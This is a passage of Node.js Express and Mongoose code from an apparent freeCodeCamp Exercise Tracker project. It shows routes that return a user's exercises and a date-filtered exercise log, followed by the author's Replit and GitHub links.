    const exers = await exercise.find({duser: id});
    res.json(exers);
 }catch(err){
    res.status(500).json(err);

  }
})

app.get('/api/users/:_id/logs',async function(req,res){
  const id = req.params._id;
  const { from, to, limit } = req.query;
  let dateObj = {}
  if (from) {
    dateObj["$gte"] = new Date(from)
  }
  if (to){
    dateObj["$lte"] = new Date(to)
  }
  let filter = {
    duser: id
  }
  if(from || to){
    filter.date = dateObj;
  }

  try{
    const user = await User.findById(id).exec();
    const exers = await exercise.find(filter).limit(+limit ?? 500);
    const num = await exercise.find({ duser: id}).count().exec();
    let log = exers.map((e) => {
            return {
                'description': e.
description
,
              'duration': e.duration,
                'date': new Date(e.date).toDateString()
        };
    });
    res.json({
      username: user.username,
      count : num,
      _id: user._id,
     log});
 }catch(err){
    res.status(500).json(err);

  }
})

const listener = app.listen(process.env.PORT || 3000, () => {
  console.log('Your app is listening on port ' + listener.address().port)
})

link do projeto no replit: https://replit.com/@AdrielH024/boilerplate-project-exercisetracker?v=1

link do projeto no github:
https://github.com/AdrielH024/free-Code-Camp-ExerciseTracker